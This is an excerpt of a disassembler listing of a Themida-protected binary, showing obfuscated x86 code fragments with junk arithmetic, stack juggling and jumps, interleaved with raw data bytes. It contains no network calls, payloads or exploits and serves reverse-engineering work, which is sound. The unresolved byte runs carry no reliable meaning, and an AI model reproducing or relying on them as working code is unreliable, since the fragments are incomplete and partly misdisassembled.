; ---------------------------------------------------------------------------


loc_575574:				; CODE XREF: Themida_:005688BCj
		mov	esp, [esp]
		jmp	loc_56FF76
; ---------------------------------------------------------------------------
		dd 148BF730h, 4C48124h,	51000000h, 0CF301FB1h, 8C84E959h
		dd 0F268FFFFh, 8B64CC39h, 0C4832404h, 5C14E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5755A2:				; CODE XREF: Themida_:00562FF9j
		and	eax, edx
		pop	edx
		shr	eax, 0Eh
		xor	eax, ecx
		jmp	loc_568BF5
; ---------------------------------------------------------------------------


loc_5755AF:				; CODE XREF: Themida_:005733ADj
		xor	ebp, [esp]
		jmp	loc_569C9D
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 0E95FF901h, 0FFFFB9C2h, 0CBE68158h, 50162B26h, 6D56D1B8h
		dd 40D8F718h, 3098BB53h, 0EBD11181h, 76D1E381h,	0CFE95E09h
		dd 59FFFFF2h, 148BF400h, 4C48124h, 68000000h, 58ACh, 53240C89h
		dd 0FD88E788h, 8BEF885Bh, 0C481240Ch, 4, 8324048Bh, 526604C4h
		dd 0D0281FB2h, 24148B66h, 81E18951h, 4C1h, 0D9E95000h
		db 31h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57562B:				; CODE XREF: Themida_:0056DC46j
		mov	[esp], edx
		jmp	loc_56C356
; ---------------------------------------------------------------------------
		db 88h
		dd 1AE0E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57563A:				; CODE XREF: Themida_:0056EE83j
		add	edx, edi
		jmp	loc_56E718
; ---------------------------------------------------------------------------


loc_575641:				; CODE XREF: Themida_:0056E7DCj
		sub	dword ptr [esp+4], 160B32DDh
		add	[esp+4], edx
		jmp	loc_56DF42
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 0FF4B8FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_575659:				; CODE XREF: Themida_:005654A8j
		mov	dl, 2Fh
		add	bl, dl
		mov	dx, [esp]
		add	esp, 2
		sub	bl, 0A9h
		add	bl, al
		add	bl, 0A9h
		push	6592h
		mov	[esp], eax
		jmp	loc_5707DE
; ---------------------------------------------------------------------------
		db 5Bh,	0FFh, 34h
		dd 2434FF24h, 0FF1CCAE9h, 0B2C380FFh, 24048B66h, 0FEF82AE9h
		dd 4C181FFh, 53000000h,	0FEE9B4E9h, 3877FFFFh, 0FF12F6E9h
		dd 4C781FFh, 0E9000000h, 0FFFEC19Ah, 0DF1049BAh, 0EC83422Dh
		dd 242C8904h, 0E7290EBDh, 9DE6E962h, 0C781FFFFh, 4, 4EF81h
		dd 88E90000h, 89FFFF8Dh, 0E368241Ch, 0E9000079h, 0FFFFF5D3h
		dd 0DA0ABCBFh, 5FF82155h, 0FECC79E9h, 4C483FFh,	88FD8851h
		dd 1C8B59EAh, 73E76824h, 0D0E90000h, 0E9FFFFFFh, 0FFFEB936h
		dd 0CD3CF181h, 0CA899F76h, 8B2434FFh, 0CDE9240Ch, 0BFFFFFCDh
		dd 37CA0A8Bh, 1495E781h, 0E781352Ch, 0CA15203h,	0FEE3F6E9h
		dd 43B2FFh, 0E071E9D4h,	65B8FFFFh, 5308ED53h, 125E6851h
		dd 81593D99h, 6A2C3CE9h, 97F1815Bh, 898489DAh, 0DBF759CBh
		dd 0BA52h, 0B2E90000h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_575767:				; CODE XREF: Themida_:005622EAj
		push	6073h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_56408D
; ---------------------------------------------------------------------------


loc_57577D:				; CODE XREF: Themida_:005744D4j
		mov	edx, 1Ch
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 64A033E4h
		sub	edx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_563842
; ---------------------------------------------------------------------------
		dd 0A49C505h, 4EC831Eh,	0E9243C89h, 0FFFEFE99h,	782462BFh
		dd 3E7C123h, 778FC781h,	0E7815EEDh, 4D1965F2h, 5104EFC1h
		dd 283083B9h, 36C6E95Ah, 0F759FFFFh, 0CB814BDBh, 16CD2FD3h
		dd 2414F753h, 9DEB815Bh, 29249818h, 0F3015BDEh,	0FFDF895Eh
		dd 835B2434h, 0E95604C4h, 0FFFFEF49h
; ---------------------------------------------------------------------------


loc_5757F4:				; CODE XREF: Themida_:0056885Aj
		pop	ecx
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		dd 48B66C3h, 15136824h,	1C890000h, 34FF5424h, 89535B24h
		dd 4C381E3h, 81000000h,	4C3h, 241C8700h, 0EF3685Ch, 14890000h
		dd 5BF1BA24h, 0B9513C49h, 3A760CBCh, 0FFDD2BE9h, 0B804E9FFh
		dd 0E981FFFEh, 1, 0C181D9F7h, 5603DE3h,	0E78DF181h, 0C8299D51h
		dd 241C8B59h, 5704C483h, 0E046850h, 34FF3FE4h, 24048B24h
		dd 8304C483h, 54004C4h,	23ED28A8h, 0FF1B30E9h, 0E7CF81FFh
		dd 81615953h, 7C2492E7h, 0E94F4722h, 0FFFFBB65h
; ---------------------------------------------------------------------------


loc_57588C:				; CODE XREF: Themida_:00567BC9j
		pop	esi
		and	edx, 5D3301E1h
		neg	edx
		push	edi
		mov	edi, 78333547h
		push	ebp
		mov	ebp, 5C441F7Dh
		jmp	loc_571101
; ---------------------------------------------------------------------------
		dw 2968h
		dd 8900000Ch, 4BD242Ch,	0E9000000h, 0FFFF69AAh
; ---------------------------------------------------------------------------


loc_5758B8:				; CODE XREF: Themida_:0056A1D3j
		mov	[esp], ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		jmp	loc_56F912
; ---------------------------------------------------------------------------
		dd 4D0EBA52h, 18E901B2h
		db 0CBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5758D3:				; CODE XREF: Themida_:005731C2j
		pop	esi
		jmp	loc_5620EE
; ---------------------------------------------------------------------------
		db 68h,	20h, 34h
		dd 0E95B1E82h, 0FFFFBDFCh, 9C240CD2h, 0FFA11EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5758ED:				; CODE XREF: Themida_:00571B6Aj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		sub	dword ptr [esp+4], 5BA74757h
		add	[esp+4], ebp
		push	edx
		jmp	loc_56CBED
; ---------------------------------------------------------------------------


loc_57590D:				; CODE XREF: Themida_:00561305j
		pop	esp
		dec	edi
		not	edi
		add	edi, 54D51FCBh
		jmp	loc_567841
; ---------------------------------------------------------------------------
		dd 0F7F7805Ah, 8B04402Ch, 0FFB8DFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_575929:				; CODE XREF: Themida_:005620E9j
		mov	eax, 4
		add	edi, eax
		pop	eax
		sub	edi, 4
		jmp	loc_5737D8
; ---------------------------------------------------------------------------
		db 29h,	0D8h, 0E9h
		dd 0FFFFB73Bh, 348DE95Dh, 0E95DFFFFh, 0FFFFE206h, 2414F752h
		dd 5224148Bh, 0FF259BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_575959:				; CODE XREF: Themida_:00564559j
		xor	[esp+4], edi
		jmp	loc_575C75
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0C8B5424h, 77E95724h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57596F:				; CODE XREF: Themida_:00570F56j
		sub	bl, dl
		mov	dx, [esp]
		add	esp, 2
		sub	bl, 0ACh
		sub	bl, al
		push	cx
		mov	cl, 0ACh
		add	bl, cl
		pop	cx
		push	eax
		mov	al, 5Bh
		push	dx
		mov	dh, 39h
		add	al, dh
		pop	dx
		xor	al, 0B4h
		push	eax
		push	ebx
		mov	bl, 93h
		push	ecx
		jmp	loc_572340
; ---------------------------------------------------------------------------
		dd 468h, 0C3815900h, 7A9B34D6h,	2507C381h, 7E90164h, 56FFFF29h
		dd 0BF57E689h, 38EE322Dh, 0F781D7F7h, 0C711CDD6h, 535FFE01h
		dd 0CB1089BBh, 0BE56572Eh, 299752F4h, 5E5192BFh, 5EF73172h
		dd 0EF81DFF7h, 7CFC09D4h, 0E781DFF7h, 430F4472h, 462AE947h
		dd 8B66FFFFh, 8953240Ch, 0A5E952E3h, 0E9FFFEDDh, 0FFFEB63Eh
; ---------------------------------------------------------------------------


loc_575A04:				; CODE XREF: Themida_:0056A753j
		pop	ebx
		add	esp, 4
		jmp	loc_568DFB
; ---------------------------------------------------------------------------


loc_575A10:				; CODE XREF: Themida_:00565584j
		neg	bh
		push	cx
		mov	ch, 0B4h
		xor	bh, ch
		pop	cx
		jmp	loc_56E902
; ---------------------------------------------------------------------------


loc_575A1F:				; CODE XREF: Themida_:0056A820j
		sub	edi, ebx
		pop	ebx
		jmp	loc_56D5A9
; ---------------------------------------------------------------------------


loc_575A27:				; CODE XREF: Themida_:0056AED8j
		sub	[esp], eax
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 0AD73D3F2h
		mov	ebp, eax
		pop	eax
		and	eax, ebp
		jmp	loc_57356B
; ---------------------------------------------------------------------------


loc_575A3F:				; CODE XREF: Themida_:00573114j
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	3071h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_56B59D
; ---------------------------------------------------------------------------
		dd 0A12CC828h, 0E9C7B252h, 0FFFEF0E9h, 68D831ADh, 64B3h
		dd 0E9243C89h, 0FFFED88Ch, 68049504h, 34FFDD2Ch, 0E9515924h
		dd 0FFFFF4B5h, 0FEE9F889h, 0B9FFFF40h, 4204E91h, 8159CA21h
		dd 0D90E38EAh, 0DCEF819Eh, 817EA961h, 241B0EC7h, 63EF810Eh
		dd 1541F27h, 63C781D7h,	81541F27h, 241B0EEFh, 0DCC7810Eh
		dd 5A7EA961h, 687EC781h, 0B8501D9Bh, 5E55D29h, 2638770Dh
		dd 218B0D35h, 0D8F72CAFh, 120C4A35h, 58C7012Eh,	13AE9h
		dd 0E9E38800h, 0FFFF556Eh, 6824248Bh, 37AFh, 0E9241C89h
		dd 0FFFFB128h
; ---------------------------------------------------------------------------


loc_575B0C:				; CODE XREF: Themida_:005741FCj
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		push	edi
		push	ebx
		mov	ebx, 1854234Dh
		jmp	loc_56FEAA
; ---------------------------------------------------------------------------


loc_575B24:				; CODE XREF: Themida_:0057221Bj
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56B4D0
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 77E90000h, 5CFFFEC2h, 0BD242C89h, 0
		dd 272AED81h, 0B5E92234h, 81FFFEF2h, 0F63130F6h, 54A8E934h
		dd 0C281FFFFh, 4, 4BF57h, 0C2810000h, 790759D5h, 0FF2A4AE9h
		dd 81F901FFh, 0E22EEDE9h, 2DD8E963h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_575B82:				; CODE XREF: Themida_:00564B09j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edi
		mov	edi, 0C38794Dh
		jmp	loc_567DF5
; ---------------------------------------------------------------------------


loc_575B94:				; CODE XREF: Themida_:00572E20j
		add	esi, 40D44573h
		jmp	loc_56792F
; ---------------------------------------------------------------------------
		db 87h
		dd 895C2404h, 74FF2404h, 34FF0424h, 89515824h, 0C35DE9E1h
		dd 0F381FFFFh, 0A92E80A1h, 41E9DF89h, 29FFFF21h, 59CF87F9h
		dd 5107E7C1h, 0B7488B9h, 59CF292Ch, 3DACEF81h, 0EF811EFFh
		dd 784F7257h, 9071EF81h, 0FE01937Ch, 2434335Fh,	33243431h
		dd 15E92434h
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_575BF7:				; CODE XREF: Themida_:005632E4j
		push	edi
		pop	ecx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_5719AD
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0EABE2434h, 81424A2Ah, 2911BBC3h, 56F3017Dh,	0B73F81BEh
		dd 3AF68174h, 29099E2Eh, 11E95EF3h, 1FFFF7Fh, 2434FFFDh
		dd 4C4815Fh, 0E9000000h, 0FFFF74CAh, 1A5768h, 240C8900h
		dd 337FB1B9h, 17C68118h, 103FB72h, 17EE81CEh, 5903FB72h
		dd 0EE81FE01h, 18337FB1h, 53243C8Bh, 0C381E389h, 4, 0FFAE10E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_575C75:				; CODE XREF: Themida_:0057595Dj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_574A3C
; ---------------------------------------------------------------------------
		db 1
		dd 0FF6659C8h, 0B3B4E930h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_575C8E:				; CODE XREF: Themida_:0056400Cj
		mov	dl, bh
		mov	cl, dl
		jmp	loc_56AC75
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4EC8100h, 89000000h, 0A1BD242Ch, 5576A853h, 242C8B51h
		dd 4C481h, 0E9590000h, 0FFFFAF2Eh
; ---------------------------------------------------------------------------


loc_575CBC:				; CODE XREF: Themida_:0056EF5Aj
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_568CF8
; ---------------------------------------------------------------------------
a1slH6		db '1é‹,$h(6',0
		align 2
		dw 1489h
		dd 57E28924h, 4BFh, 0C9FAE900h,	0C101FFFFh, 0FEE211E9h
		dd 5E6C1FFh, 0FFB4B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_575CF1:				; CODE XREF: Themida_:00574216j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_568D4D
		push	3B30h
		jmp	loc_567789
; ---------------------------------------------------------------------------
		dd 4EC81h, 34890000h, 52E68924h, 0FF03E1E9h, 1C281FFh
		dd 5B0D9444h, 0A9EFE956h, 5954FFFFh, 0FF260CE9h, 99C480FFh
		dd 0EC80C4FEh, 8BE38877h, 0C4832404h, 66C3FE04h, 3018B652h
		dd 0E95A66F3h, 0FFFED4F8h, 6759CF81h, 0F781539Ch, 73FF777Dh
		dd 0E95755h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_575D67:				; CODE XREF: Themida_:00569863j
		sub	ebx, ecx
		jmp	loc_574AA4
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC81240Ch, 4, 50242C89h, 4CE9E089h,	54FFFEE7h, 4DBE5659h
		dd 81028732h, 450A89E6h, 0FBC68138h, 1FFFAFDh, 0C181E9F1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_575D9E:				; CODE XREF: Themida_:00574C92j
		push	79FFh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_573C8B
; ---------------------------------------------------------------------------


loc_575DC6:				; CODE XREF: Themida_:0056F1E8j
		mov	ebx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		jmp	loc_563181
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 5CFCBA52h, 78E9470Fh, 54FFFF5Ah, 81241C8Bh, 4C4h
		dd 4C26800h, 4890000h, 7D556824h, 2C890000h, 5251E924h
		dd 0FF5DFFFFh, 835A2434h, 0C8904ECh, 0E9595424h, 0FFFF569Dh
		dd 0FEB221E9h, 81FB01FFh, 0EC43ACEBh, 243C8B5Ch, 4C481h
		dd 1C330000h, 0CC5E924h, 3C8B0000h, 4C48324h, 5D1C6F09h
		dd 0B9515253h, 5710475h, 5759CA89h, 7830AABFh, 247C011Eh
		dd 54295F08h, 46E90424h, 0F6FFFEE4h, 0C0E680D6h, 0FFF0F7E9h
		dd 96BA52FFh, 0E9523738h, 0FFFF6C10h, 5204C483h, 5D7DBD55h
		dd 13BA3C0Dh, 0E9176F57h, 0FFFFAF58h, 5DE9315Fh, 0BFE9CA01h
		dd 80FFFF68h, 0E95BA7C4h, 0FFFEC8A1h
; ---------------------------------------------------------------------------


loc_575EA0:				; CODE XREF: Themida_:00568430j
		pop	ebp
		push	16C7h
		mov	[esp], ebx
		pop	ebp
		jmp	loc_569BE2
; ---------------------------------------------------------------------------
		db 89h
		dd 0E589242Ch, 4BE56h, 0C5810000h, 3B716965h, 0FFD56DE9h
		dd 24148BFFh, 5304C483h, 2B850h, 0C3890000h, 0EC9EE958h
		dd 0E9C1FFFFh, 2CF18103h, 8169EE4Bh, 231659F1h,	0B21DE943h
		dd 4FE9FFFEh, 5EFFFEB1h, 0FF5554E9h, 243C87FFh,	461E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_575F02:				; CODE XREF: Themida_:005734FBj
		xor	edx, edx
		push	edi
		push	ebx
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5690FE
; ---------------------------------------------------------------------------
		db 1
		dd 0D0E1E9F0h, 487FFFFh, 0EE295C24h, 50C6015Dh,	0FF67BEE9h
		dd 0BBEB9FFh, 7D6849D0h, 8900007Eh, 0CFBA2414h,	1523E5Ah
		dd 0E9C15AD1h, 0CBE94107h
		db 42h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_575F43:				; CODE XREF: Themida_:00570285j
		add	ecx, edx
		pop	edx
		push	2C92h
		jmp	loc_56DFA5
; ---------------------------------------------------------------------------


loc_575F50:				; CODE XREF: Themida_:0056C2D8j
		add	bl, cl
		pop	ecx
		sub	bl, cl
		sub	bl, 7Ch
		mov	cx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_563EDD
; ---------------------------------------------------------------------------
		dd 8106EBC1h, 0C428C0F3h, 468AE918h, 3487FFFFh,	551E924h
		dd 0C4810000h, 4, 0FFCC31E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_575F85:				; CODE XREF: Themida_:0056568Aj
		sub	ecx, 0CDDA7977h
		xor	eax, ecx
		pop	ecx
		xor	ecx, eax
		pop	eax
		mov	eax, ecx
		pop	ecx
		shl	eax, cl
		sub	esp, 4
		jmp	loc_56C607
; ---------------------------------------------------------------------------
		dw 0EE80h
		dd 8BF7303Fh, 0C4832414h, 0E96A0404h, 0FFFF3997h, 8102E7C1h
		dd 1505C4EFh, 5FFB0165h, 2BF57h, 0FB010000h, 0FF08D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_575FC9:				; CODE XREF: Themida_:00569EE6j
		add	esi, ebx
		pop	ebx
		push	edi
		jmp	loc_571770
; ---------------------------------------------------------------------------
		dw 5Ah
		dd 76E958C1h
		db 20h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_575FDB:				; CODE XREF: Themida_:005751DBj
		pop	ebx
		sub	edx, 82B563Eh
		add	edx, esi
		add	edx, 82B563Eh
		sub	edx, 2DB6DC3h
		mov	esi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_568570
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFECC91h, 0EE86ED81h, 84E9B96Ch
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_576017:				; CODE XREF: Themida_:005731F0j
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		xchg	edi, edx
		not	edi
		push	edx
		push	1D52h
		mov	[esp], edi
		jmp	loc_5739A3
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 57h
		dd 14E3F69h, 57E981C1h,	584E3F69h, 0E959CA01h, 0FFFF8B2Ah
; ---------------------------------------------------------------------------


loc_576048:				; CODE XREF: Themida_:0056F031j
		pop	esp
		xor	edi, edx
		pop	edx
		not	edi
		and	edi, 59D1A49h
		sub	edi, 9C0249h
		jmp	loc_573753
; ---------------------------------------------------------------------------
		db 4Dh
		dd 8103EDC1h, 0A07415EDh, 8BEA31E3h, 0C483242Ch, 8BD70104h
		dd 89512414h, 4C181E1h,	83000000h, 0C8704C1h, 0BE565C24h
		dd 2, 0FFC619E9h, 48B66FFh, 0E1895124h,	7908BD55h, 0EC8136ABh
		dd 4, 0E9241C89h, 0FFFF6D90h, 0E9241C31h, 0FFFF355Ch, 4BD55h
		dd 45E90000h, 5BFFFF54h, 4247C29h, 4246C81h, 7EE0203h
		dd 4244481h, 65EF5986h,	7BF2BA52h, 4EE956CBh, 31FFFED3h
		dd 4332404h, 24248B24h,	5FC368h, 24348900h, 0FF3802E9h
		dd 4C483FFh, 8335E952h,	0BA52FFFFh, 2, 0EBE9D501h, 59FFFF9Fh
		dd 4E9FB29h, 0FFFFFEC2h, 589D1C77h, 9C240411h, 0FEAF21E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_576121:				; CODE XREF: Themida_:005635B1j
		pop	edx
		push	esi
		push	6F2F2618h
		pop	esi
		shr	esi, 2
		sub	esp, 4
		jmp	loc_576290
; ---------------------------------------------------------------------------


loc_576134:				; CODE XREF: Themida_:00569F3Ej
		pop	esp
		jmp	loc_56FF94
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 5BEC7B93h, 0C105E6C1h, 0C68102EEh, 6733A9Bh,	0C15EF531h
		dd 6AE908EDh, 8BFFFEB2h, 0C4812414h, 4,	4EB4C281h, 0EA016A34h
		dd 0FFBA8EE9h, 428EBBFFh, 0EB811555h, 94B0550h,	0FF56C0E9h
		dd 0E95251FFh, 540h, 6086E981h,	0C1817021h, 669B629Bh
		dd 65BBE181h, 0B8503844h, 67112E73h, 0FFDC0DE9h, 148B66FFh
		dd 4EC8124h, 0E9000000h, 0FFFFF7B2h
; ---------------------------------------------------------------------------


loc_5761B0:				; CODE XREF: Themida_:0056A499j
		add	edx, 4
		push	edi
		mov	edi, 4
		jmp	loc_570AAA
; ---------------------------------------------------------------------------


loc_5761C1:				; CODE XREF: Themida_:00564BC6j
		mov	bh, cl
		pop	ecx
		mov	al, bh
		mov	ebx, [esp]
		add	esp, 4
		mov	bh, al
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	7F28h
		jmp	loc_564009
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0BDh
		dd 297AA364h, 0BD5558C1h, 28277425h, 567EED81h,	0E931AF54h
		dd 81242C8Bh, 4C4h, 0E9CE3100h,	0FFFEB44Ah, 5259CB09h
		dd 6E5FBBBAh, 4EC28101h, 0E905BB76h, 0FFFFB103h, 8B1C4F21h
		dd 0C483240Ch, 0AE14E904h, 0D829FFFEh, 1C54E953h, 34FFFFFFh
		dd 2F18E924h, 48BFFFFFh, 8164C06Ch, 333E3AE7h, 6BD5512h
		dd 2900002Ch, 312D5DEFh, 0E9011A64h, 0FFFF3F03h, 24048F5Ch
		dd 0FF98E9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_576265:				; CODE XREF: Themida_:0056352Bj
		pop	dword ptr [esp]
		push	esi
		mov	esi, 4
		sub	dword ptr [esp+4], 59A66971h
		add	[esp+4], esi
		jmp	loc_5728B9
; ---------------------------------------------------------------------------
		db 31h
		dd 14332414h, 24248B24h, 0E904EC83h, 0FFFECDCFh
; ---------------------------------------------------------------------------


loc_576290:				; CODE XREF: Themida_:0057612Fj
		mov	[esp], ebp
		mov	ebp, 332E60B0h
		and	ebp, 53741530h
		or	ebp, 5B003133h
		jmp	loc_57056B
; ---------------------------------------------------------------------------
		db 59h,	80h, 0F2h
		dd 75E28066h, 0E9E4C280h, 0FFFF43C1h, 3910685Dh, 14890000h
		dd 198BBA24h, 0E2D13CC3h, 8108E2C1h, 1D61F9C2h,	0BBBFE987h
		dd 575FFFFFh, 4BFh, 5FFE2900h, 8B243487h, 1C892424h, 8824B324h
		dd 2434FFD8h, 0C1E9535Bh
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5762F7:				; CODE XREF: Themida_:0056D93Dj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 1000000h
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_5648E0
; ---------------------------------------------------------------------------


loc_576329:				; CODE XREF: Themida_:0056FA42j
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_56D926
; ---------------------------------------------------------------------------


loc_57633C:				; CODE XREF: Themida_:00571F9Dj
		push	edx
		push	esi
		push	2AD31E39h
		mov	esi, [esp]
		add	esp, 4
		not	esi
		shl	esi, 6
		shl	esi, 5
		push	edi
		mov	edi, 2E683C7Dh
		shr	edi, 3
		jmp	loc_5683D0
; ---------------------------------------------------------------------------


loc_57635F:				; CODE XREF: Themida_:00574636j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	edx, 6B0D45DBh
		sub	esp, 4
		jmp	loc_57371A
; ---------------------------------------------------------------------------


loc_576374:				; CODE XREF: Themida_:0056FA06j
		push	ebx
		mov	ebx, 4CA866FFh
		or	ecx, ebx
		jmp	loc_567EA2
; ---------------------------------------------------------------------------


loc_576381:				; CODE XREF: Themida_:00568C9Aj
		push	esp
		pop	eax
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_571DBA
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0D9h
		dd 0FF7FF84Ah, 0C9E92434h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5763A7:				; CODE XREF: Themida_:00576A9Bj
		mov	ebp, 38716316h
		jmp	loc_56DE1C
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 3A0CDEB0h, 0FF991AE9h, 24048FFFh, 0FF4EBBE9h, 0B8505EFFh
		dd 4, 5757C681h, 0C681754Ch, 210427C4h,	56C4C681h, 0C6810785h
		dd 2BFE18DEh, 0EE81C601h, 2BFE18DEh, 56C4EE81h,	1DE90785h
		dd 0B8FFFF0Ah, 4, 8758C101h, 0E95C240Ch, 0FFFF9C6Ah
; ---------------------------------------------------------------------------


loc_576408:				; CODE XREF: Themida_:00576793j
		add	edx, 16D068Dh
		pop	ebp
		jmp	loc_572F4C
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0FFBF8EE9h, 0C4BE56FFh, 466EC14Ah, 196DE681h
		dd 0EED172ACh, 468BF681h, 0D6F71F7Dh, 9A8EF681h, 0B3E9EA01h
		dd 5CFFFF9Ah, 4EC81h, 14890000h, 7136BA24h, 0BB051825h
		dd 132FC02h, 2BB2DD0h, 34FF32FCh, 0C4835A24h, 0F3D3E904h
		dd 7C01FFFFh, 5D5F0424h, 4EC81h, 4890000h, 4B824h, 0C5010000h
		dd 0FF7663E9h, 885066FFh, 88CCFEF4h, 515866E6h,	0ED80A5B5h
		dd 59EE200Bh, 6AE9D6F6h
		db 0BAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57649B:				; CODE XREF: Themida_:0056DD3Aj
		push	edx
		mov	dl, bh
		mov	cl, dl
		pop	edx
		jmp	loc_566E71
; ---------------------------------------------------------------------------
		dw 489h
		dd 19086824h, 34890000h, 0E9515324h, 0FFFEADEBh
; ---------------------------------------------------------------------------


loc_5764B8:				; CODE XREF: Themida_:0056E727j
		mov	eax, [edx]
		mov	edx, [esp]
		push	ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_57549A
; ---------------------------------------------------------------------------
		db 5Ch
		dd 54240489h, 40558h, 89520000h, 4C281E2h, 83000000h, 148704EAh
		dd 24248B24h, 0BF243C89h, 35EE617Dh, 6723E781h,	0C7813226h
		dd 6FB174A1h, 0E905EFC1h, 0FFFF6714h, 55240489h, 0FEDE5CE9h
		dd 0E18951FFh, 4C181h, 0E9830000h, 240C8704h, 48F545Ch
		dd 24048124h, 4, 468505Ah, 58000000h, 6858C201h, 5C71h
		dd 0E9240C89h, 0FFFF0C9Ah, 2AECB951h, 0E9574D63h, 0FFFED907h
; ---------------------------------------------------------------------------


loc_57654C:				; CODE XREF: Themida_:0056FFBAj
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	65D0h
		mov	[esp], esi
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 2E1F7FFDh
		or	edx, 226D3BFEh
		or	edx, 5BE0581Bh
		add	edx, 80008005h
		jmp	loc_568D5A
; ---------------------------------------------------------------------------
		dw 0CA01h
		dd 0FFEEACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57658D:				; CODE XREF: Themida_:0056E751j
		or	edi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	edi, 1
		not	edi
		push	edx
		mov	edx, 3E196B06h
		sub	edi, edx
		pop	edx
		xor	eax, edi
		pop	edi
		push	eax
		push	edi
		mov	edi, 35127CDDh
		jmp	loc_56983B
; ---------------------------------------------------------------------------
		dw 0E100h
		dd 8324048Bh, 0E98004C4h, 59C80033h, 4EC8357h, 0FF8718E9h
		dd 24C381FFh, 0FF069F78h, 34FF2434h, 73685924h,	89000047h
		dd 0E2892414h, 4C281h, 0ADE90000h, 0FFFFFF33h, 669D1C77h
		dd 24041858h, 8FEDE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5765FE:				; CODE XREF: Themida_:005677C1j
		pop	esi
		add	ebx, 4CC616Eh
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ecx
